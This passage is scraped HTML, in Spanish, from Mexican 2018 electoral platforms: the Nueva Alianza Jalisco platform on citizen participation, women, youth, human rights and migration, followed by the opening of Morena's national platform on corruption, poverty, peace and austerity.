esfuerzos institucionales en diversos pa\u00edses del mundo, confluyen para crear programas y redes acad\u00e9micas-profesionales con el prop\u00f3sito de difundir y estudiar a fondo los problemas de la innovaci\u00f3n tecnol\u00f3gica. Fruto de estos trabajos, es la construcci\u00f3n del propio concepto de la <em>sociedad del conocimiento<\/em>.<\/p>\n<p>En un mundo de constante cambio, de apertura social, pol\u00edtica y econ\u00f3mica, prosperan las naciones que logran construir un sistema de innovaci\u00f3n eficiente, estable y eficaz, alcanzando con ello altos \u00edndices de competitividad y bienestar. El dise\u00f1o adecuado de instituciones, incentivos selectivos, empoderamiento de actores sociales, profesionalizaci\u00f3n de recursos humanos y una estrat\u00e9gica pol\u00edtica p\u00fablica de modernizaci\u00f3n, hacen de estos pa\u00edses, naciones emprendedoras, que no s\u00f3lo han aceptado el cambio, sino que est\u00e1n dispuestas a impulsar su bienestar y construcci\u00f3n con base en la innovaci\u00f3n.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tX.\tPARTICIPACI\u00d3N Y EMPODERAMIENTO DE LOS  CIUDADANOS\t\t\t\t\t\t<\/p>\n<p><strong>E<\/strong>n una democracia indirecta como la nuestra, en la que los votantes delegamos la toma de decisiones en terceras personas, existe la idea de que el papel de los ciudadanos termina al emitir el voto. Sin embargo, para <strong><em>Nueva Alianza <\/em><\/strong>la relaci\u00f3n de las personas con la vida p\u00fablica debe ser permanente.<\/p>\n<p>Para <strong><em>Nueva Alianza <\/em><\/strong>el <em>empoderamiento ciudadano <\/em>es una tarea din\u00e1mica, de la que la sociedad es responsable y en la que las instituciones se ponen de su lado. Las puertas del gobierno, las organizaciones civiles, grupos de inter\u00e9s, as\u00ed como los partidos, deben estar abiertas permanentemente.<\/p>\n<p>En nuestro pa\u00eds las acciones individuales dif\u00edcilmente afectan el resultado de una pol\u00edtica p\u00fablica, por esta raz\u00f3n surge la necesidad de que los ciudadanos se organicen en funci\u00f3n de sus intereses, de manera que sus demandas influyan directamente en las decisiones del nivel de gobierno al que correspondan.<\/p>\n<p>Lo anterior ser\u00e1 posible s\u00f3lo si va acompa\u00f1ado de cambios institucionales y reformas legales que ampl\u00eden el campo de acci\u00f3n de todas las organizaciones. En este contexto, <strong><em>Nueva Alianza <\/em><\/strong>se compromete a impulsar iniciativas de ley que garanticen un verdadero avance en el fortalecimiento de la sociedad civil y la conciencia c\u00edvica.<\/p>\n<p>Trabajar por la protecci\u00f3n de las libertades individuales y de los derechos de expresi\u00f3n, organizaci\u00f3n y manifestaci\u00f3n es una tarea constante que contribuye a este objetivo. <strong><em>Nueva Alianza <\/em><\/strong>reconoce el papel de las organizaciones activas de la sociedad civil, auto-organizadas, aut\u00f3nomas y pluralistas, capaces de canalizar las expectativas de grupos sociales diversos y promover\u00e1 valores que propicien la participaci\u00f3n de la ciudadan\u00eda.<\/p>\n<p>Tambi\u00e9n nos definimos como un partido del sector laboral y de los nuevos movimientos sociales, ya que reconocemos en el mundo del trabajo formal e informal, la referencia fundamental de nuestra vida cotidiana y nuestros proyectos.<\/p>\n<p>Buscamos ser un partido al servicio de la \u00a0Naci\u00f3n y de sus intereses positivos generales, que propone una nueva forma de pensar y hacer pol\u00edtica, en el marco de una sociedad libre, organizada y tolerante, que fomente \u00a0dentro de la ley la solidaridad y la unidad nacional.<\/p>\n<p><strong>10.1 Mujeres<\/strong><\/p>\n<p><strong>E<\/strong>l liderazgo y la participaci\u00f3n pol\u00edtica de las mujeres deber\u00edan ser mayores, tanto en el \u00e1mbito local como en el federal. Las mujeres tienen poca representaci\u00f3n en los puestos directivos, ya sea en la administraci\u00f3n p\u00fablica, el sector privado o el mundo acad\u00e9mico. Esta poca participaci\u00f3n contrasta con la capacidad de las mujeres\u00a0 como l\u00edderes y agentes de cambio, y su derecho a participar por igual en la gobernanza democr\u00e1tica.<\/p>\n<p>Esta situaci\u00f3n es producto entre otros factores, por la gran marginaci\u00f3n que a\u00fan en nuestro Estado afecta a las mujeres como resultado de leyes, pr\u00e1cticas, actitudes y estereotipos de g\u00e9nero discriminatorios, bajos niveles de educaci\u00f3n, falta de acceso a servicios de atenci\u00f3n sanitaria, y debido a que la pobreza las afecta de manera desproporcionada, lo cual genera menor probabilidad que los hombres para convertirse en l\u00edderes eficaces.<\/p>\n<p>Con la Reforma Electoral que incluye el cambio al art\u00edculo 73 del c\u00f3digo Electoral que define la postulaci\u00f3n de candidatos y candidatas, respetando el principio de Paridad de G\u00e9nero en los distintos ayuntamientos que conforman el Estado, esto significa que se deben postular a presidentes o presidentas municipales 63 mujeres y 62 hombres o viceversa. \u00a0\u00a0Pese a los avances conseguidos en materia de igualdad sustantiva \u00a0que se ven reflejados en\u00a0 los Nuevos Ordenamientos\u00a0 Pol\u00edtico Electorales de nuestro Pa\u00eds al conseguir la paridad\u00a0 en las postulaciones a cargos de elecci\u00f3n popular,\u00a0 podemos afirmar que siguen existiendo fuertes\u00a0 desaf\u00edos y retos \u00a0para la\u00a0 participaci\u00f3n plena y equitativa de las mujeres en los puestos de representaci\u00f3n y de toma de decisiones, que van desde los\u00a0 estereotipos negativos que subyacen en la cultura sobre el liderazgo de las mujeres, el financiamiento inadecuado para su real y efectiva incorporaci\u00f3n\u00a0 en los\u00a0 contenidos electorales, la poca capacitaci\u00f3n de las candidatas en los asuntos p\u00fablicos y de gobierno as\u00ed como, los altos niveles de violencia e intimidaci\u00f3n contra las mujeres que se desempe\u00f1an en\u00a0 cargos p\u00fablicos.<\/p>\n<p><strong>Nueva Alianza<\/strong> defiende el derecho de las mujeres a participar en la vida p\u00fablica\u00a0 en condiciones de igualdad, ofrecemos capacitaci\u00f3n para ayudar a las candidatas pol\u00edticas a desarrollar sus capacidades, as\u00ed como impartir formaci\u00f3n c\u00edvica y electoral relacionada con la igualdad de g\u00e9nero y fomentar el empoderamiento de las mujeres, desarrollando habilidades y conocimientos a fin de garantizar\u00a0 el \u00e9xito en cualquier \u00e1mbito de desarrollo.<\/p>\n<p>En <strong><em>Nueva Alianza<\/em><\/strong>, entendemos\u00a0 que la igualdad de g\u00e9nero es una condici\u00f3n irreducible para el desarrollo incluyente, democr\u00e1tico, libre de violencia y sostenible de nuestro Estado. Es necesario\u00a0 asegurar que las mujeres tengan m\u00e1s participaci\u00f3n en todas las instituciones, para que puedan participar en igualdad en el di\u00e1logo p\u00fablico y la toma de decisiones, que determinen un\u00a0 futuro mejor para sus familias y comunidad.<\/p>\n<p>Por ello Proponemos:<\/p>\n<p>1.-Velar por la aplicaci\u00f3n y la armonizaci\u00f3n de\u00a0 las\u00a0 leyes federales, estatales y municipales con los Tratados y Convenciones Internacionales en materia de\u00a0 derechos humanos, paridad \u00a0e igualdad de la mujer.<\/p>\n<p>2.-Consolidar el criterio de igualdad sustantiva en el dise\u00f1o de las pol\u00edticas p\u00fablicas, como recurso para promover mejores condiciones de desarrollo de las mujeres.<\/p>\n<p>3.- Hacer efectiva la participaci\u00f3n de la mujer, establecida en la ley, en los \u00e1mbitos de la vida p\u00fablica, gubernamental y privada.<\/p>\n<p>4.-Apoyar las acciones tendientes al desarrollo de aptitudes y capacidades de las mujeres con inclinaci\u00f3n pol\u00edtica para un mejor desempe\u00f1o en las actividades de compromiso pol\u00edtico social.<\/p>\n<p>5.- Promover la incorporaci\u00f3n de adultas mayores, mujeres con discapacidad y mujeres ind\u00edgenas al sistema educativo a fin de erradicar la brecha de g\u00e9nero en alfabetizaci\u00f3n y alfabetizaci\u00f3n digital.<\/p>\n<p><strong>\u00a0\u00a0\u00a0 10.2 J\u00f3venes<\/strong><\/p>\n<p><strong>P<\/strong>ara Jalisco como para cualquier otro Estado\u00a0 es fundamental que su poblaci\u00f3n joven cuente con oportunidades suficientes y apropiadas que le permitan desarrollarse plenamente.<\/p>\n<p><strong>Nueva Alianza<\/strong> est\u00e1 consciente\u00a0 de la necesidad de sentar las bases\u00a0 para que la juventud mexicana sea un grupo\u00a0 productivo que participe activamente en el aumento\u00a0 de los niveles de bienestar, inversi\u00f3n y desarrollo en\u00a0 el pa\u00eds.<\/p>\n<p>En M\u00e9xico, de cara a los comicios electorales del a\u00f1o 2018, poco m\u00e1s de 14 millones de j\u00f3venes de entre 18 y 23 a\u00f1os, votar\u00e1n por primera vez, siendo un sector de la poblaci\u00f3n clave para definir qui\u00e9n ser\u00e1 el pr\u00f3ximo Presidente de M\u00e9xico, Senadores, Diputados Federales, as\u00ed como, los tantos m\u00e1s puestos de elecci\u00f3n popular que se estar\u00e1n disputando en nuestro Estado; Gobernador, \u00a0Presidentes Municipales y Diputados Locales. Por esto debemos de capacitar e incentivar a las y los j\u00f3venes a participar de manera consciente y responsable. <strong><em>Nueva Alianza<\/em><\/strong> lleva a cabo Escuelas de Cuadros en las cuales prepara a las y los j\u00f3venes en temas de democracia y participaci\u00f3n pol\u00edtica de las juventudes.<\/p>\n<p>Nuestro partido propone que las pol\u00edticas p\u00fablicas enfocadas\u00a0 al desarrollo integral de las y los j\u00f3venes de M\u00e9xico, deben involucrarlos en los procesos de dise\u00f1o, implementaci\u00f3n\u00a0 y evaluaci\u00f3n de dichas pol\u00edticas.<\/p>\n<p>Proponemos:<\/p>\n<p>1.-Revisar y actualizar\u00a0 la Ley Org\u00e1nica del Instituto Jalisciense de la Juventud para ser congruentes\u00a0 con la realidad de los j\u00f3venes en el momento actual que vive el Pa\u00eds.<\/p>\n<p>2.-Vigilar que las leyes en materia de Juventud se encuentren en concordancia con los tratados Internacionales en la materia, as\u00ed como su aplicaci\u00f3n.<\/p>\n<p>3.-Garantizar el acceso a m\u00e9todos anticonceptivos y universalidad de la educaci\u00f3n sexual, especialmente para evitar el embarazo adolescente y enfermedades de transmisi\u00f3n sexual.<\/p>\n<p>4.-Fomentar la participaci\u00f3n democr\u00e1tica de las y los j\u00f3venes en asuntos de car\u00e1cter p\u00fablico, promover la libre expresi\u00f3n, ofrecer seguridad a las y los j\u00f3venes para manifestarse pac\u00edficamente en lugares p\u00fablicos, garantizando su seguridad y el no ejercicio de la violencia por manifestar sus ideas.<\/p>\n<p>5.- Promover el desarrollo del talento, la creatividad, la mentalidad empresarial y las expresiones culturales entre los j\u00f3venes, premiar el desarrollo de las competencias interculturales y el aprendizaje de lenguas extranjeras para reducir las barreras a la movilidad transfronteriza.<\/p>\n<p>6.-Recuperar espacios p\u00fablicos para que las y los j\u00f3venes puedan utilizarlos para ocio, expresi\u00f3n, recreaci\u00f3n, que promuevan un mejor uso del tiempo libre.<\/p>\n<p>7.-Modernizar la oferta de formaci\u00f3n t\u00e9cnica y profesional disponible. Crear el sistema de vinculaci\u00f3n entre la educaci\u00f3n superior y empresas privadas.<\/p>\n<p>8.- Generar un \u00e1rea espec\u00edfica dentro de la Secretar\u00eda de Educaci\u00f3n P\u00fablica y la Secretaria de Econom\u00eda que se dedique espec\u00edficamente a vincular el \u00faltimo a\u00f1o de estudios con un \u00a0trabajo en empresas privadas o en proyectos espec\u00edficos.<\/p>\n<p>9.- Asignar el 30% del total de las candidaturas que se disputar\u00e1n en el Estado de Jalisco para que sean encabezadas por hombres y mujeres j\u00f3venes, as\u00ed como conformar equipos de trabajo con las y los j\u00f3venes mejor preparados.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tXI.\tDERECHOS HUMANOS                                                                                                \t\t\t\t\t<\/p>\n<p><strong>N<\/strong><strong>ueva Alianza<\/strong> proclama y lucha por la prevalencia y respeto de los derechos humanos. Es una verdad innegable que persisten, manifestaciones y pr\u00e1cticas de discriminaci\u00f3n, intolerancia, xenofobia, misoginia, homofobia, racismo, marginaci\u00f3n, exclusi\u00f3n, explotaci\u00f3n y otras expresiones, que tienen como efecto, menoscabar el goce o ejercicio de los derechos humanos y las libertades. Los siguientes motivos siguen presentes en la vida cotidiana y son motivos de exclusi\u00f3n: el origen \u00e9tnico o nacional, el color de piel, la cultura, el sexo, el g\u00e9nero, la edad, las discapacidades, la condici\u00f3n social, econ\u00f3mica, de salud o jur\u00eddica, la religi\u00f3n, la apariencia f\u00edsica, las caracter\u00edsticas gen\u00e9ticas, la situaci\u00f3n migratoria, el embarazo, la lengua, las opiniones, las preferencias sexuales, la identidad o filiaci\u00f3n pol\u00edtica, el estado civil, la situaci\u00f3n familiar, las responsabilidades familiares, el idioma, los antecedentes penales o cualquier otro motivo. El Estado, en su conjunto, debe ser garante del respeto a los derechos humanos, defendi\u00e9ndolos en todas las instituciones p\u00fablicas y creando instrumentos jur\u00eddicos y pol\u00edticas que hagan valer su irrestricta vigencia.<\/p>\n<p>Proponemos:<\/p>\n<p>1.-Promover acciones legislativas que contribuyan a garantizar el pleno respeto a los derechos humanos y la formaci\u00f3n de una cultura de la legalidad.<\/p>\n<p>2.-Promover los derechos pol\u00edticos de los pueblos originarios y las candidaturas ind\u00edgenas a puestos de elecci\u00f3n popular.<\/p>\n<p>3.-Impulsar desde el poder legislativo acciones para la contrataci\u00f3n de personas con capacidades diferentes.<\/p>\n<p>4.-Difundir los derechos y obligaciones laborales de los trabajadores con capacidades diferentes con un enfoque de inclusi\u00f3n laboral.<\/p>\n<p>5.- Garantizar la implementaci\u00f3n de pol\u00edticas educativas con enfoque de inclusi\u00f3n para mejorar el acceso, permanencia, y conclusi\u00f3n de estudios en todas las modalidades y niveles acad\u00e9micos que tienen derecho los grupos vulnerables.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tXII.\tCONCIENTIZACION CIUDADANA                                                                                \t\t\t\t\t<\/p>\n<p><strong><em>N<\/em><\/strong><strong><em>ueva Alianza <\/em><\/strong>sostiene la condici\u00f3n de igualdad y la dignidad de las personas, por lo que se manifiesta en contra de cualquier tipo de discriminaci\u00f3n o explotaci\u00f3n.<\/p>\n<p>En este sentido, estamos comprometidos a seguir promoviendo la revalorizaci\u00f3n de la identidad cultural nacional, la conservaci\u00f3n del patrimonio cultural y la participaci\u00f3n plena\u00a0 para el desarrollo estatal. Nuestra solidaridad con todos los sectores sociales, nos\u00a0 compromete a seguir impulsando la formaci\u00f3n de liderazgos\u00a0 fuertes y capacitados as\u00ed como promover condiciones pol\u00edticas legales y c\u00edvicas para garantizar su integraci\u00f3n. <strong><em>Nueva Alianza <\/em><\/strong>buscar\u00e1 abrir espacios de participaci\u00f3n y manifestaci\u00f3n de todos los ciudadanos.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>reconoce que la perspectiva de g\u00e9nero en las pol\u00edticas p\u00fablicas debe entenderse como la intenci\u00f3n y la voluntad expl\u00edcita de los gobiernos de promover una redistribuci\u00f3n equitativa entre g\u00e9neros, en t\u00e9rminos de: derechos civiles, pol\u00edticos y sociales.<\/p>\n<p>Es imprescindible introducir una perspectiva de g\u00e9nero en todos los \u00e1mbitos de la vida, es decir, debe reconocerse que el hombre y la mujer son parte indispensable del engranaje social; que ambos son parte fundamental para que una sociedad se desarrolle y avance.<\/p>\n<p>El rol de la familia es un elemento b\u00e1sico para erradicar pr\u00e1cticas discriminatorias hacia la mujer. Por ello, es imprescindible crear una cultura de la tolerancia y respeto entre los sexos. Nuestros valores y creencias comienzan a formarse desde el momento en que nacemos, por la educaci\u00f3n que recibimos y a trav\u00e9s de un proceso de relaciones afectivas.<\/p>\n<p>Con el tiempo, nuestro proceso de socializaci\u00f3n se ve influido por informaci\u00f3n contradictoria recibida en la escuela, la familia y el trabajo.<\/p>\n<p>Por eso, <strong><em>Nueva Alianza <\/em><\/strong>est\u00e1 consciente que dentro del proceso de democratizaci\u00f3n es de suma importancia incluir la perspectiva de g\u00e9nero de una manera envolvente y contundente; que permee en todos los sectores de la poblaci\u00f3n, desde el \u00e1mbito privado hasta el \u00e1mbito p\u00fablico.<\/p>\n<p>Nos comprometemos a fortalecer la presencia activa de la mujer como l\u00edder y pieza clave del desarrollo integral de nuestro pa\u00eds.<\/p>\n<p>En <strong><em>Nueva Alianza <\/em><\/strong>entendemos que no puede hablarse de iguales entre desiguales. Es necesario estar conscientes de que la discriminaci\u00f3n inicia con propuestas y pol\u00edticas que no reconocen ni responden a las diferencias entre hombres y mujeres, la diferencia sexual no puede seguir traduci\u00e9ndose en diferencia de oportunidades y por eso debemos responder al reto de ofrecer un trato equitativo para todos los\u00a0 jaliscienses.<\/p>\n<p>Para <strong><em>Nueva Alianza <\/em><\/strong>es importante promover la expresi\u00f3n de toda la poblaci\u00f3n sin importar raza, condici\u00f3n social, f\u00edsica o sexual. En ese sentido <strong><em>Nueva Alianza <\/em><\/strong>propone:<\/p>\n<ul>\n<li>Elaborar una Gu\u00eda B\u00e1sica para la promoci\u00f3n de una cultura de equidad de g\u00e9nero.<\/li>\n<li>Incluir el combate a la discriminaci\u00f3n en programas de estudio.<\/li>\n<li>Fomentar la participaci\u00f3n activa de la sociedad civil en el combate a la discriminaci\u00f3n.<\/li>\n<li>Reconocer los derechos laborales de hombres y mujeres por igual.<\/li>\n<li>Revalorar el Trabajo en el Hogar.<\/li>\n<li>Revisar y armonizar el ordenamiento jur\u00eddico en materia de discriminaci\u00f3n.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tXIII.\tMIGRACI\u00d3N     \t\t\t\t\t<\/p>\n<p><strong>E<\/strong>l patr\u00f3n de migraci\u00f3n mantenido durante el siglo XX, observ\u00f3 que los migrantes, en su mayor\u00eda, proven\u00edan de \u00e1reas rurales y pose\u00edan un grado de escolaridad bajo o eran analfabetos. Sin embargo, el patr\u00f3n ha cambiado, manteni\u00e9ndose la emigraci\u00f3n de \u00e1reas rurales pero incluyendo, ahora, la emigraci\u00f3n de zonas urbanas, adem\u00e1s de que ya existe una creciente participaci\u00f3n de las mujeres en dichos flujos migratorios. En nuestra entidad, cada vez se acent\u00faa m\u00e1s el problema de la migraci\u00f3n, toda vez que cada d\u00eda m\u00e1s jaliscienses emigran al norte en busca de mejores condiciones de vida, lo que refleja la falta de mejores oportunidades para algunos sectores sociales del Estado y sus Municipios.<\/p>\n<p>Es responsabilidad de las autoridades mexicanas instrumentar una pol\u00edtica integral y programas efectivos que reduzcan el fen\u00f3meno antes mencionado. De otra manera este circunstancia seguir\u00e1 nutri\u00e9ndose de las redes laborales, sociales, econ\u00f3micas y culturales que, a su vez, se retroalimentan por su vecindad geogr\u00e1fica y su asimetr\u00eda econ\u00f3mica.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>est\u00e1 consciente de la responsabilidad del Estado y sus Municipios en la defensa de la dignidad de los compatriotas en el extranjero. Entendemos como parte fundamental de nuestras obligaciones la lucha por el ejercicio pleno de sus derechos, por su seguridad jur\u00eddica, laboral y su integridad personal.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\t Presentaci\u00f3n\t\t\t\t\t<\/p>\n<p>El presente documento contiene la plataforma electoral de Morena que recoge el Proyecto Alternativo de Naci\u00f3n 2018 -2024 por el que se presenta una nueva visi\u00f3n del pa\u00eds, a trav\u00e9s de proyectos y propuestas en materia econ\u00f3mica, pol\u00edtica, social y educativa que tienen por objeto generar pol\u00edticas p\u00fablicas que permitan al pa\u00eds romper la inercia de bajo crecimiento econ\u00f3mico, incremento de la desigualdad social y econ\u00f3mica y p\u00e9rdida de bienestar para las familias mexicanas, tendencias que han marcado al pa\u00eds en los \u00faltimos 35 a\u00f1os, y emprender un cambio de rumbo.\u00a0\u00a0<\/p>\n<p>El actual proceso electoral camina por un largo pero esperanzador camino hacia el primero de julio de 2018. Tenemos el proceso electoral concurrente m\u00e1s grande e importante de la historia reciente del pa\u00eds, y no es cosa menor, se habr\u00e1n de renovar 3416 cargos de elecci\u00f3n popular a nivel Federal y local, lo que deriva en la oportunidad m\u00e1s grande en la historia del pa\u00eds para transformarlo y lograr construir nuevos cimientos que permitan un mejor futuro para las generaciones venideras.<\/p>\n<p>El estancamiento, el deterioro, la desigualdad y la corrupci\u00f3n no son los \u00fanicos destinos posibles de M\u00e9xico. La facultad de cambiar nuestra circunstancia nacional, estatal y municipal siempre ha estado en nuestras manos. \u00a0<\/p>\n<p>Por esa raz\u00f3n, un grupo amplio de especialistas de diversos sectores fue convocado en febrero del 2017 por Andr\u00e9s Manuel L\u00f3pez Obrador, Presidente Nacional del Movimiento de Regeneraci\u00f3n Nacional (MORENA). La mayor\u00eda de sus integrantes carece de filiaci\u00f3n partidista y el grupo es representativo de las diferentes corrientes y tendencias del pensamiento pol\u00edtico, social y econ\u00f3mico de M\u00e9xico. Desde esa pluralidad, y con la convicci\u00f3n de que en el sexenio 2018-2024 es posible rescatar al pa\u00eds de su decadencia actual y construir en ese periodo una naci\u00f3n mejor, este equipo de trabajo se ha dedicado a formular propuestas concretas \u2013basadas en el diagn\u00f3stico de la situaci\u00f3n econ\u00f3mica, social, educativa, de seguridad, de infraestructura, de salud, de impartici\u00f3n de justicia, entre muchos otros temas\u2013 para alentar el cambio de rumbo que se requiere y alcanzar el objetivo de la reconstrucci\u00f3n nacional.\u00a0 En 2024 queremos vivir en un M\u00e9xico justo, democr\u00e1tico, soberano, pac\u00edfico y transparente.\u00a0<\/p>\n<p>El presente documento no es un simple cat\u00e1logo de propuestas y buenos deseos, sino una lista estructurada y exhaustiva, aunque no limitativa, de proyectos y programas que buscan soluciones pr\u00e1cticas a realidades concretas. Lo aqu\u00ed presentado es un resumen cuidadoso del trabajo realizado a lo largo de nueve meses en muchas mesas y reuniones de trabajo en varias ciudades de la rep\u00fablica mexicana, en donde estos y otros proyectos fueron ampliamente analizados y debatidos, con aportaciones valiosas por parte de todos los participantes. Desde luego, no se aborda todos los temas y problemas de la vida nacional que pudieran ser considerados relevantes por diversos sectores sociales y esta propuesta de gesti\u00f3n p\u00fablica, como cualquier otra, es susceptible de enriquecimiento y complementaci\u00f3n.\u00a0<\/p>\n<p>Desde otra perspectiva, las acciones aqu\u00ed referidas podr\u00edan parecer demasiadas. Debe considerarse, en este punto, que de acuerdo con los diagn\u00f3sticos que sirvieron como base para formularlas, el pa\u00eds se encuentra en un estado de atraso, deterioro, carencia y descomposici\u00f3n que justifica sobradamente la amplitud y la profundidad de las medidas gubernamentales que deben ser puestas en pr\u00e1ctica para detener, en un primer momento, y revertir, posteriormente, la decadencia nacional en materias como infraestructura, educaci\u00f3n, salud, agricultura y medio ambiente. En m\u00e1s de tres d\u00e9cadas esos sectores han sufrido un persistente abandono gubernamental, y para remontar sus efectos en seis a\u00f1os\u00a0 es necesario reorientar el rumbo nacional. Esto requiere de pol\u00edticas p\u00fablicas de gran calado en pr\u00e1cticamente todos los \u00e1mbitos, con un orden riguroso de prioridades y sin ir m\u00e1s all\u00e1 de lo que permitan los recursos disponibles.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tLineamientos Generales\t\t\t\t\t<\/p>\n<p>Las propuestas elaboradas en cada una de las comisiones tienen el objetivo de ser transversales para dar un sentido integral al Proyecto de Naci\u00f3n 2018-2024, y consideran la interrelaci\u00f3n entre todos los temas y problem\u00e1ticas que se analizan y\u00a0 entre las propuestas concretas desarrolladas.\u00a0\u00a0<\/p>\n<p>Se presentaron m\u00e1s de 100 programas y proyectos que cumplieron los cinco mandatos y restricciones estipulados para cada uno: legalidad y lucha contra la corrupci\u00f3n, combate a la pobreza, recuperaci\u00f3n de la paz, viabilidad financiera, equidad de g\u00e9nero y desarrollo sostenible.<\/p>\n<p>Las propuestas elaboradas en cada una de las comisiones tienen el objetivo de ser transversales, para dar un sentido integral al Proyecto de Naci\u00f3n 2018-2024 y consideran la interrelaci\u00f3n entre todos los temas y problem\u00e1ticas que se analizan y\u00a0 entre las propuestas concretas desarrolladas.<\/p>\n<p>Se presentaron m\u00e1s de 100 programas y proyectos que cumplieron los cinco mandatos y restricciones estipulados para cada uno: legalidad y lucha contra la corrupci\u00f3n, combate a la pobreza, recuperaci\u00f3n de la paz, viabilidad financiera, equidad de g\u00e9nero y desarrollo sostenible.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tLegalidad y erradicaci\u00f3n de la corrupci\u00f3n\t\t\t\t\t<\/p>\n<p>M\u00e9xico ha padecido un exceso de modificaciones constitucionales, legales y reglamentarias pero la parte medular de los problemas nacionales no deriva de la falta de leyes ni de su ineficiencia, sino de la ausencia de voluntad para cumplirlas o bien de su utilizaci\u00f3n discrecional, facciosa, arbitraria y corrupta. En efecto, el incumplimiento generalizado del marco legal y la corrupci\u00f3n, conforman el c\u00edrculo vicioso que m\u00e1s ha da\u00f1ado al pa\u00eds en d\u00e9cadas recientes y del que se deriva el deterioro generalizado en otros \u00e1mbitos. \u00a0<\/p>\n<p>El saqueo sistem\u00e1tico de los presupuestos p\u00fablicos por parte de un peque\u00f1o grupo no s\u00f3lo significa la desviaci\u00f3n de recursos que deben ser empleados en reactivar la econom\u00eda, ensanchar la infraestructura, generar empleos, combatir la pobreza y mejorar los niveles educativos y de salud, sino que es tambi\u00e9n un ejemplo negativo de los gobernantes a los gobernados a partir del cual se generan redes de intereses inconfesables, que acaban vinculando a la delincuencia de cuello blanco con la criminalidad organizada. La corrupci\u00f3n incrementa la desigualdad, la violencia, la desintegraci\u00f3n, la decadencia moral y, en \u00faltima instancia, el mal desempe\u00f1o econ\u00f3mico del pa\u00eds.<\/p>\n<p>La corrupci\u00f3n no es, como se ha dicho, un asunto cultural ante el cual debamos resignarnos ni una forma de ser de los mexicanos en general, sino una desviaci\u00f3n de los gobernantes que puede y debe ser erradicada. Para ello resulta fundamental respetar la ley. Si hay voluntad para aplicarla, se puede atacar la impunidad desde su ra\u00edz. Este prop\u00f3sito se puede lograr sin modificar la Constituci\u00f3n ni embarcarse en un v\u00e9rtigo de reformas a la legislaci\u00f3n secundaria, sino con el cumplimiento de una y de otras mediante la convocatoria a la sociedad a una regeneraci\u00f3n \u00e9tica que redundar\u00e1 en beneficio de todos.<\/p>\n<p>Uno de los lineamientos de este Proyecto de Naci\u00f3n es reducir al m\u00ednimo las reformas que el Ejecutivo deber\u00e1 proponer al Legislativo para llevar a cabo sus acciones de gobierno,\u00a0 y una de las condiciones establecidas para todas sus propuestas es que se apeguen a la observancia de las leyes tal y como se encuentren redactadas en diciembre de 2018. As\u00ed, se asent\u00f3 que los proyectos gubernamentales habr\u00e1n de respetar la separaci\u00f3n de poderes y la autonom\u00eda de los organismos aut\u00f3nomos del Estado y garantizar la certidumbre jur\u00eddica de todos los contratos vigentes, particularmente los derivados de las llamadas \u201creformas estructurales\u201d, las cuales, desde luego, ser\u00e1n sometidas a evaluaci\u00f3n para determinar si cumplen o no con los prop\u00f3sitos establecidos en su argumentaci\u00f3n.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tCombate a la pobreza\t\t\t\t\t<\/p>\n<p>M\u00e9xico no puede hacer frente al resto de sus desaf\u00edos con m\u00e1s de 50 por ciento de su poblaci\u00f3n en situaci\u00f3n de pobreza (as\u00ed lo reconocen las propias cifras oficiales, aunque la proporci\u00f3n es sin duda mucho mayor) y si no se establece como prioridad el cumplimiento efectivo de los derechos de la gran mayor\u00eda a la alimentaci\u00f3n, la salud, la educaci\u00f3n, el trabajo, la vivienda digna, la cultura y el deporte. Es innegable la relaci\u00f3n causal entre la precariedad material que padece la mayor parte de la poblaci\u00f3n con el incremento de la inseguridad, la violencia, la migraci\u00f3n forzada por las circunstancias, la descomposici\u00f3n pol\u00edtica e institucional y la mediocridad del desempe\u00f1o econ\u00f3mico en general.<\/p>\n<p>Por ello, las propuestas contenidas en este documento deben enmarcarse en el prop\u00f3sito general de combatir la pobreza de vastos sectores de la sociedad mediante la creaci\u00f3n de fuentes de trabajo, el impulso a las actividades productivas, particularmente las del agro, la inclusi\u00f3n de todos los j\u00f3venes en programas educativos o laborales y la atenci\u00f3n prioritaria al cumplimiento efectivo de los derechos de las mujeres, los pueblos ind\u00edgenas,\u00a0 los adultos mayores, los ni\u00f1os y otros grupos vulnerables. Sea en escala nacional, estatal o municipal, los programas gubernamentales aqu\u00ed enumerados comparten esos prop\u00f3sitos.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tRecuperaci\u00f3n de la paz\t\t\t\t\t<\/p>\n<p>Los planes y proyectos presentados deben incidir en la recuperaci\u00f3n de la tranquilidad y la paz, destruidas por las estrategias de seguridad p\u00fablica y combate a la delincuencia que han sido puestas en pr\u00e1ctica por las dos \u00faltimas administraciones. De 2014 a septiembre del 2017, el Secretariado Ejecutivo del Sistema Nacional de Seguridad P\u00fablica reporta 146 mil 672 homicidios, entre culposos y dolosos. Esta segunda condici\u00f3n est\u00e1 motivada por el deseo de suprimir el dolor y la destrucci\u00f3n causados por el actual estado de violencia, pero tambi\u00e9n por la consideraci\u00f3n de que ninguna sociedad puede funcionar adecuadamente sin certeza jur\u00eddica y sin garant\u00edas para la seguridad f\u00edsica de sus integrantes. Por ambas razones, es imperativo devolver la paz a las calles y los hogares mexicanos y en esa l\u00f3gica se pidi\u00f3 que las propuestas de todos los ejes tem\u00e1ticos contribuyeran a tal objetivo, aunque en los cap\u00edtulos correspondientes a Sociedad Segura y Estado de Derecho se detallan estrategias y l\u00edneas de acci\u00f3n espec\u00edficas.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tViabilidad financiera y austeridad\t\t\t\t\t<\/p>\n<p>Otro mandato para los\u00a0 proyectos es que sean realizables sin incurrir en aumentos de las tasas impositivas o la creaci\u00f3n de nuevos impuestos y sin recurrir a incrementos de la deuda p\u00fablica para cubrir el gasto corriente, como ha sido pr\u00e1ctica regular de las tres \u00faltimas administraciones federales. Los componentes del Proyecto de Naci\u00f3n deben descansar en el supuesto de una ejecuci\u00f3n austera, responsable y honesta del gasto p\u00fablico, y en la conservaci\u00f3n de los balances macroecon\u00f3micos.<\/p>\n<p>Los desv\u00edos y los dispendios que caracterizan actualmente el ejercicio del gasto p\u00fablico deben cesar, pero deben erradicarse tambi\u00e9n la frivolidad 